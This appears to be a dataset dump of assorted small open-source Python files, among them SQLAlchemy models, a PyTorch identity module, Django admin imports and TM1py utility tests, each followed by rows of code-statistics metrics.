main() | 24 | 42 | 0.6 | 18 | 120 | 3.555556 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0.166667 | 120 | 5 | 43 | 24 | 0.62 | 0 | 0 | 0 | 0 | 0 | 0.396694 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
483e18015ffffe7f1e0a4ae8ae099d5ca8f9ad6b | 364 | py | Python | app/team/models.py | spravesh1818/globalFantasyLeague | 296eba4e450a60ef9df1664de9a59e95b9351758 | [
"BSD-3-Clause"
] | null | null | null | app/team/models.py | spravesh1818/globalFantasyLeague | 296eba4e450a60ef9df1664de9a59e95b9351758 | [
"BSD-3-Clause"
] | null | null | null | app/team/models.py | spravesh1818/globalFantasyLeague | 296eba4e450a60ef9df1664de9a59e95b9351758 | [
"BSD-3-Clause"
] | null | null | null | import sqlalchemy
from db import metadata
team = sqlalchemy.Table(
"team",
metadata,
sqlalchemy.Column("id", sqlalchemy.Integer, primary_key=True),
sqlalchemy.Column("name", sqlalchemy.String, unique=True),
sqlalchemy.Column("stadium", sqlalchemy.String, unique=True),
sqlalchemy.Column("league_... | 30.333333 | 71 | 0.728022 | 41 | 364 | 6.414634 | 0.463415 | 0.243346 | 0.228137 | 0.197719 | 0.319392 | 0.319392 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131868 | 364 | 11 | 72 | 33.090909 | 0.832278 | 0 | 0 | 0 | 0 | 0 | 0.096154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
483f8313c556371351a76d4ed62b848b289ebdee | 169 | py | Python | text/_cascade/text/_text.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/_cascade/text/_text.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | text/_cascade/text/_text.py | jedhsu/text | 8525b602d304ac571a629104c48703443244545c | [
"Apache-2.0"
] | null | null | null | """
*Text*
Text is a string type.
# [TODO] rigorous container def
"""
from abc import ABCMeta
__all__ = ["Text"]
class Text:
__metaclass__ = ABCMeta
| 9.388889 | 33 | 0.621302 | 20 | 169 | 4.85 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.266272 | 169 | 17 | 34 | 9.941176 | 0.782258 | 0.372781 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | 0.058824 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
4840c196e6dd1fd800f09a49a4deccc79c925cb7 | 263 | py | Python | pytorch_toolbelt/modules/identity.py | ternaus/pytorch-toolbelt | a952882bae1ded4f9a583cbdf87ba6f335ef3abf | [
"MIT"
] | 3 | 2019-10-02T04:05:57.000Z | 2020-01-13T02:26:09.000Z | pytorch_toolbelt/modules/identity.py | ternaus/pytorch-toolbelt | a952882bae1ded4f9a583cbdf87ba6f335ef3abf | [
"MIT"
] | null | null | null | pytorch_toolbelt/modules/identity.py | ternaus/pytorch-toolbelt | a952882bae1ded4f9a583cbdf87ba6f335ef3abf | [
"MIT"
] | 1 | 2019-12-02T05:40:03.000Z | 2019-12-02T05:40:03.000Z | from torch import nn
__all__ = ['Identity']
class Identity(nn.Module):
"""The most useful module. A pass-through module which does nothing."""
def __init__(self, *args, **kwargs):
super().__init__()
def forward(self, x):
return x
| 18.785714 | 75 | 0.631179 | 34 | 263 | 4.529412 | 0.764706 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.235741 | 263 | 13 | 76 | 20.230769 | 0.766169 | 0.247148 | 0 | 0 | 0 | 0 | 0.041667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
484d38df92bedac2721834518374e08da4a9606d | 376 | py | Python | django_event/backends/rabbitmq/settings.py | ailove-dev/django-event | 2d82cee0b3b86209850cbb6e382d597d2624251d | [
"MIT"
] | 3 | 2015-08-31T00:46:12.000Z | 2017-12-13T01:32:32.000Z | django_event/backends/rabbitmq/settings.py | ailove-dev/django-event | 2d82cee0b3b86209850cbb6e382d597d2624251d | [
"MIT"
] | 8 | 2015-01-20T12:27:24.000Z | 2015-05-29T12:29:53.000Z | django_event/backends/rabbitmq/settings.py | ailove-dev/django-event | 2d82cee0b3b86209850cbb6e382d597d2624251d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
RabbitMQ backend specific settings module.
"""
from __future__ import unicode_literals
from django_event.backends.base.settings import *
HOST = HOST or 5672
VIRTUAL_HOST = settings.BACKEND_OPTIONS.get('VIRTUAL_HOST', '')
USERNAME = settings.BACKEND_OPTIONS.get('USERNAME', '')
QUEUE_NAME... | 25.066667 | 66 | 0.755319 | 47 | 376 | 5.765957 | 0.574468 | 0.166052 | 0.243542 | 0.276753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014925 | 0.109043 | 376 | 15 | 66 | 25.066667 | 0.79403 | 0.172872 | 0 | 0 | 0 | 0 | 0.121711 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
4872a60edf0eaad6dfff24e457a38ff3b99aef20 | 2,835 | py | Python | tests/test_packaging.py | armaandhull/great_expectations | 257d0a06cdae09a6b20aa1f6554649de10409fa7 | [
"Apache-2.0"
] | null | null | null | tests/test_packaging.py | armaandhull/great_expectations | 257d0a06cdae09a6b20aa1f6554649de10409fa7 | [
"Apache-2.0"
] | null | null | null | tests/test_packaging.py | armaandhull/great_expectations | 257d0a06cdae09a6b20aa1f6554649de10409fa7 | [
"Apache-2.0"
] | null | null | null | import requirements as rp
from great_expectations.data_context.util import file_relative_path
def test_requirements_files():
"""requirements.txt should be a subset of requirements-dev.txt"""
with open(file_relative_path(__file__, "../requirements.txt")) as req:
requirements = set(
[f'{li... | 38.310811 | 84 | 0.665256 | 339 | 2,835 | 5.235988 | 0.120944 | 0.338028 | 0.130141 | 0.135211 | 0.780282 | 0.702535 | 0.702535 | 0.650704 | 0.322817 | 0.322817 | 0 | 0.003122 | 0.209171 | 2,835 | 73 | 85 | 38.835616 | 0.788582 | 0.020811 | 0 | 0.125 | 0 | 0 | 0.15704 | 0.150181 | 0 | 0 | 0 | 0 | 0.214286 | 1 | 0.017857 | false | 0 | 0.035714 | 0 | 0.053571 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
4873fcb4893b51a57f9bd4b8ad91dc008e82bf64 | 139 | py | Python | main_menu.py | Johnson070/Graphics.py-to-Python-code | f7d102ba89a95a7b7123d49ab27ef2ca58185cf6 | [
"Apache-2.0"
] | null | null | null | main_menu.py | Johnson070/Graphics.py-to-Python-code | f7d102ba89a95a7b7123d49ab27ef2ca58185cf6 | [
"Apache-2.0"
] | null | null | null | main_menu.py | Johnson070/Graphics.py-to-Python-code | f7d102ba89a95a7b7123d49ab27ef2ca58185cf6 | [
"Apache-2.0"
] | null | null | null | from graphics import *
def create_menu(win):
ln = Line(Point(1000, 0), Point(1000, 999))
ln.setOutline("black")
ln.draw(win)
| 17.375 | 47 | 0.640288 | 21 | 139 | 4.190476 | 0.761905 | 0.204545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 0.201439 | 139 | 7 | 48 | 19.857143 | 0.684685 | 0 | 0 | 0 | 0 | 0 | 0.035971 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
487df582b3b18e98ff48cf04e2f8238700fd6568 | 985 | py | Python | sudoku/stats.py | bdunton9323/sudoku | 4974ac6c4676d63ac5dfda6714214e119bf7417b | [
"MIT"
] | null | null | null | sudoku/stats.py | bdunton9323/sudoku | 4974ac6c4676d63ac5dfda6714214e119bf7417b | [
"MIT"
] | null | null | null | sudoku/stats.py | bdunton9323/sudoku | 4974ac6c4676d63ac5dfda6714214e119bf7417b | [
"MIT"
] | null | null | null | import time
class StatsTracker(object):
def __init__(self):
self.num_iterations = None
self.num_guesses = 0
self.max_recursion_depth = 0
self.start_time = 0
self.end_time = 0
@property
def num_iterations(self):
return self._num_iterations
@num_iteratio... | 22.906977 | 46 | 0.651777 | 128 | 985 | 4.6875 | 0.21875 | 0.173333 | 0.141667 | 0.14 | 0.268333 | 0.19 | 0 | 0 | 0 | 0 | 0 | 0.005563 | 0.270051 | 985 | 42 | 47 | 23.452381 | 0.828929 | 0 | 0 | 0.193548 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.322581 | false | 0 | 0.032258 | 0.129032 | 0.516129 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
4882940136c94d854b77d0f3dab3ca330990e2ff | 534 | py | Python | problem_40/champernowne.py | plilja/project-euler | 646d1989cf15e903ef7e3c6e487284847d522ec9 | [
"Apache-2.0"
] | null | null | null | problem_40/champernowne.py | plilja/project-euler | 646d1989cf15e903ef7e3c6e487284847d522ec9 | [
"Apache-2.0"
] | null | null | null | problem_40/champernowne.py | plilja/project-euler | 646d1989cf15e903ef7e3c6e487284847d522ec9 | [
"Apache-2.0"
] | null | null | null | _champernownes_constant = ""
def _calculate_champernownes_nth_decimal(length):
res = []
curr_length = 0
i = 1
while curr_length < length:
res += [str(i)]
curr_length += len(res[-1])
i += 1
return "".join(res)
def champernownes_nth_decimal(n):
global _champernownes_con... | 24.272727 | 73 | 0.67603 | 63 | 534 | 5.333333 | 0.349206 | 0.3125 | 0.27381 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014528 | 0.226592 | 534 | 21 | 74 | 25.428571 | 0.799031 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.3125 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6f81cba42a9a1a63b9f47653e4afb2dd4df2f06e | 203 | py | Python | src/model/game/two2seven/two2seven.py | Jagermeister/expeditions | b5cfece24aa84da8342e0e1b457b8dab775d7a15 | [
"MIT"
] | null | null | null | src/model/game/two2seven/two2seven.py | Jagermeister/expeditions | b5cfece24aa84da8342e0e1b457b8dab775d7a15 | [
"MIT"
] | null | null | null | src/model/game/two2seven/two2seven.py | Jagermeister/expeditions | b5cfece24aa84da8342e0e1b457b8dab775d7a15 | [
"MIT"
] | null | null | null | import random
from copy import deepcopy
from ..game import Game
class GuessGame(Game):
name = 'Deuce to Seven - Triple Draw'
player_count = 6
def __init__(self):
super().__init__() | 18.454545 | 41 | 0.674877 | 27 | 203 | 4.740741 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006452 | 0.236453 | 203 | 11 | 42 | 18.454545 | 0.819355 | 0 | 0 | 0 | 0 | 0 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.375 | 0 | 0.875 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
6f886d2db3fd0eb0045daa761a734fbd35aeb082 | 11,635 | py | Python | Tests/Utils.py | andreyea/tm1py | ab89fe0fab042dbf37deffc43c46c8e1c65a62ff | [
"MIT"
] | null | null | null | Tests/Utils.py | andreyea/tm1py | ab89fe0fab042dbf37deffc43c46c8e1c65a62ff | [
"MIT"
] | null | null | null | Tests/Utils.py | andreyea/tm1py | ab89fe0fab042dbf37deffc43c46c8e1c65a62ff | [
"MIT"
] | null | null | null | import configparser
import unittest
from pathlib import Path
from TM1py.Services import TM1Service
from TM1py.Utils import (
Utils,
get_dimensions_from_where_clause,
integerize_version,
verify_version, get_cube, resembles_mdx, format_url, add_url_parameters, extract_cell_updateable_property,
CellUp... | 34.93994 | 111 | 0.635153 | 1,353 | 11,635 | 5.171471 | 0.132299 | 0.038016 | 0.029727 | 0.034015 | 0.777619 | 0.744605 | 0.728598 | 0.687295 | 0.650993 | 0.604259 | 0 | 0.038723 | 0.240911 | 11,635 | 332 | 112 | 35.045181 | 0.75351 | 0.008423 | 0 | 0.570896 | 0 | 0.022388 | 0.263962 | 0.085816 | 0 | 0 | 0 | 0 | 0.16791 | 1 | 0.149254 | false | 0 | 0.018657 | 0 | 0.171642 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6f8ea68767f0ee4a491755309f0e8368b8998797 | 386 | py | Python | aerostructures/number_formatting/is_number.py | NitroCortex/aerostructures | bdf7b079008b3b5a47288d91093da7940784e94c | [
"Apache-2.0"
] | null | null | null | aerostructures/number_formatting/is_number.py | NitroCortex/aerostructures | bdf7b079008b3b5a47288d91093da7940784e94c | [
"Apache-2.0"
] | null | null | null | aerostructures/number_formatting/is_number.py | NitroCortex/aerostructures | bdf7b079008b3b5a47288d91093da7940784e94c | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
"""
#Function that checks whether a string can be converted into a float
def isfloat(value):
try:
float(value)
return True
except ValueError:
return False
#Function that checks whether a string can be converted into an integer
def isint(value):
try:
int... | 19.3 | 72 | 0.650259 | 51 | 386 | 4.921569 | 0.529412 | 0.095618 | 0.143426 | 0.199203 | 0.733068 | 0.733068 | 0.733068 | 0.398406 | 0.398406 | 0.398406 | 0 | 0.003546 | 0.26943 | 386 | 19 | 73 | 20.315789 | 0.886525 | 0.409326 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6f9080744fac244020f18fc9abea00ea0fc34a18 | 193 | py | Python | .config/autokey/data/keyboard_automation/home.py | danyloM/dotfiles | 0df6ff1465ba4263887f0e0c9e513aa7229e55bd | [
"MIT"
] | null | null | null | .config/autokey/data/keyboard_automation/home.py | danyloM/dotfiles | 0df6ff1465ba4263887f0e0c9e513aa7229e55bd | [
"MIT"
] | null | null | null | .config/autokey/data/keyboard_automation/home.py | danyloM/dotfiles | 0df6ff1465ba4263887f0e0c9e513aa7229e55bd | [
"MIT"
] | null | null | null | winClass = window.get_active_class()
if winClass not in ("code.Code", "emacs.Emacs"):
# Regular window
keyboard.send_keys('<home>')
else:
# VS Code
keyboard.send_keys('<alt>+a') | 27.571429 | 48 | 0.663212 | 27 | 193 | 4.592593 | 0.703704 | 0.193548 | 0.258065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.170984 | 193 | 7 | 49 | 27.571429 | 0.775 | 0.11399 | 0 | 0 | 0 | 0 | 0.195266 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6f965f719097d5f0feb42b1808376a627656aaf8 | 59 | py | Python | smartcontract/venv/lib/python3.6/site-packages/bpython/_version.py | simplitech/neoinvoice | bc9a0217858938b49f99fef13b3439f4a537a5f5 | [
"MIT"
] | null | null | null | smartcontract/venv/lib/python3.6/site-packages/bpython/_version.py | simplitech/neoinvoice | bc9a0217858938b49f99fef13b3439f4a537a5f5 | [
"MIT"
] | null | null | null | smartcontract/venv/lib/python3.6/site-packages/bpython/_version.py | simplitech/neoinvoice | bc9a0217858938b49f99fef13b3439f4a537a5f5 | [
"MIT"
] | null | null | null | # Auto-generated file, do not edit!
__version__ = '0.17.1'
| 19.666667 | 35 | 0.694915 | 10 | 59 | 3.7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 0.152542 | 59 | 2 | 36 | 29.5 | 0.66 | 0.559322 | 0 | 0 | 1 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6f9aff725adbd1651d2c62a92c8abe47e51247ef | 24 | py | Python | TVpy/__init__.py | Jitrixis/2ARC-Network-stack | f0f7f68b989c5c6eaca3be46554dd5c7010e1551 | [
"MIT"
] | 1 | 2017-08-22T20:44:12.000Z | 2017-08-22T20:44:12.000Z | TVpy/__init__.py | Jitrixis/2ARC-Network-stack | f0f7f68b989c5c6eaca3be46554dd5c7010e1551 | [
"MIT"
] | 1 | 2015-11-17T15:53:46.000Z | 2015-11-19T21:14:35.000Z | TVpy/__init__.py | Jitrixis/2ARC-Network-stack | f0f7f68b989c5c6eaca3be46554dd5c7010e1551 | [
"MIT"
] | null | null | null | __author__ = 'jitrixis'
| 12 | 23 | 0.75 | 2 | 24 | 7 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 24 | 1 | 24 | 24 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6fc004c212f2783d2231fc887142507710b49687 | 42 | py | Python | pipguitool/__init__.py | sam-sultan/pipuitool | f8ca67c30d7febdafa1db09de68a955fe3401c29 | [
"MIT"
] | null | null | null | pipguitool/__init__.py | sam-sultan/pipuitool | f8ca67c30d7febdafa1db09de68a955fe3401c29 | [
"MIT"
] | null | null | null | pipguitool/__init__.py | sam-sultan/pipuitool | f8ca67c30d7febdafa1db09de68a955fe3401c29 | [
"MIT"
] | null | null | null | from . import PIP
__all__ = [
'PIP'
] | 8.4 | 17 | 0.547619 | 5 | 42 | 3.8 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.309524 | 42 | 5 | 18 | 8.4 | 0.655172 | 0 | 0 | 0 | 0 | 0 | 0.069767 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6fdbb0e14f41da5433b21bdaed33458185527bcc | 1,632 | py | Python | compressor/parser/lxml.py | cron-ooo/django-compressor | f423ae5ab3c019364bfffb4fc26b3b4a5b5bd32b | [
"Apache-2.0"
] | 1,480 | 2015-01-01T17:48:14.000Z | 2022-03-31T14:58:45.000Z | compressor/parser/lxml.py | cron-ooo/django-compressor | f423ae5ab3c019364bfffb4fc26b3b4a5b5bd32b | [
"Apache-2.0"
] | 571 | 2015-01-13T13:03:03.000Z | 2022-03-22T09:18:12.000Z | compressor/parser/lxml.py | cron-ooo/django-compressor | f423ae5ab3c019364bfffb4fc26b3b4a5b5bd32b | [
"Apache-2.0"
] | 356 | 2015-01-06T12:00:26.000Z | 2022-03-02T17:28:25.000Z | from django.core.exceptions import ImproperlyConfigured
from django.utils.encoding import smart_str
from django.utils.functional import cached_property
from compressor.exceptions import ParserError
from compressor.parser import ParserBase
class LxmlParser(ParserBase):
"""
LxmlParser will use `lxml.html` pars... | 29.672727 | 82 | 0.645221 | 190 | 1,632 | 5.442105 | 0.415789 | 0.027079 | 0.054159 | 0.03675 | 0.087041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.250613 | 1,632 | 54 | 83 | 30.222222 | 0.845462 | 0.063113 | 0 | 0 | 0 | 0 | 0.118439 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.25 | 0.166667 | 0.694444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
b51032250cadf3d8672572214b5e9f335bd4da40 | 190 | py | Python | exercicios python/ex015.py | fabiano-filho/python | dafe83d4faf7aba304bdaf4d32ac7a176fa53153 | [
"MIT"
] | null | null | null | exercicios python/ex015.py | fabiano-filho/python | dafe83d4faf7aba304bdaf4d32ac7a176fa53153 | [
"MIT"
] | null | null | null | exercicios python/ex015.py | fabiano-filho/python | dafe83d4faf7aba304bdaf4d32ac7a176fa53153 | [
"MIT"
] | null | null | null | km = float(input('Quantidade de Km rodados: '))
dias = float(input('Quantidade de dias: '))
q = km * 0.15
d = dias * 60
print('Você pagará R${:.2f} pelo aluguel do veículo.'.format(q + d))
| 27.142857 | 68 | 0.642105 | 32 | 190 | 3.8125 | 0.6875 | 0.163934 | 0.327869 | 0.360656 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038217 | 0.173684 | 190 | 6 | 69 | 31.666667 | 0.738854 | 0 | 0 | 0 | 0 | 0 | 0.481481 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b510bd7655df21add7130bdb4ce91f9fe1697b5b | 241 | py | Python | src/M4_default_arguments.py | posguy99/comp660-fall2020 | 0fbf5b660fe8863bf9754b5227fe47dd03dc2291 | [
"MIT"
] | null | null | null | src/M4_default_arguments.py | posguy99/comp660-fall2020 | 0fbf5b660fe8863bf9754b5227fe47dd03dc2291 | [
"MIT"
] | null | null | null | src/M4_default_arguments.py | posguy99/comp660-fall2020 | 0fbf5b660fe8863bf9754b5227fe47dd03dc2291 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# default arguments, assume a default value if one is not provided
def display_info(name, age='42'):
print('Name: ', name, 'Age', age)
display_info(age='56', name='Marc Wilson')
display_info(name='Marc Wilson')
| 24.1 | 66 | 0.701245 | 38 | 241 | 4.368421 | 0.631579 | 0.198795 | 0.180723 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024155 | 0.141079 | 241 | 9 | 67 | 26.777778 | 0.777778 | 0.356846 | 0 | 0 | 0 | 0 | 0.228758 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0.25 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d21830d3cea7b8f0d13148101cbe7389164a817f | 298 | py | Python | models/web_page_css_select.py | koba-masa/my_scraping_tool | f5d4665722835189f6e5fb8b1df449f3a123a833 | [
"MIT"
] | null | null | null | models/web_page_css_select.py | koba-masa/my_scraping_tool | f5d4665722835189f6e5fb8b1df449f3a123a833 | [
"MIT"
] | 2 | 2021-06-25T10:50:17.000Z | 2021-08-07T13:00:26.000Z | models/web_page_css_select.py | koba-masa/my_scraping_tool | f5d4665722835189f6e5fb8b1df449f3a123a833 | [
"MIT"
] | null | null | null | class WebPageCssSelect:
def __init__(self, url, ua_type, selector_name, value):
self.url = url
self.ua_type = ua_type
self.selector_name = selector_name
self.value = value
def output(self):
return self.url + ',' + self.ua_type + ',' + self.selector_name + ',' + self.value
| 29.8 | 86 | 0.667785 | 41 | 298 | 4.560976 | 0.317073 | 0.128342 | 0.096257 | 0.139037 | 0.235294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204698 | 298 | 9 | 87 | 33.111111 | 0.78903 | 0 | 0 | 0 | 0 | 0 | 0.010067 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0.125 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
d2230b8dc70a64a31f97439b6938638e33413ec4 | 414 | py | Python | system/admin.py | XMLPro/ManegementSystem | 037d775101ea701f48ef3ad570af7d9f0c983831 | [
"MIT"
] | 1 | 2016-06-07T15:12:43.000Z | 2016-06-07T15:12:43.000Z | system/admin.py | XMLPro/ManegementSystem | 037d775101ea701f48ef3ad570af7d9f0c983831 | [
"MIT"
] | 71 | 2016-02-09T09:49:33.000Z | 2016-09-04T17:37:05.000Z | system/admin.py | XMLPro/ManegementSystem | 037d775101ea701f48ef3ad570af7d9f0c983831 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import CustomUser, Equipment, Search, TagManagement
from .models import Reserved, Request, Vote, Log, Tag
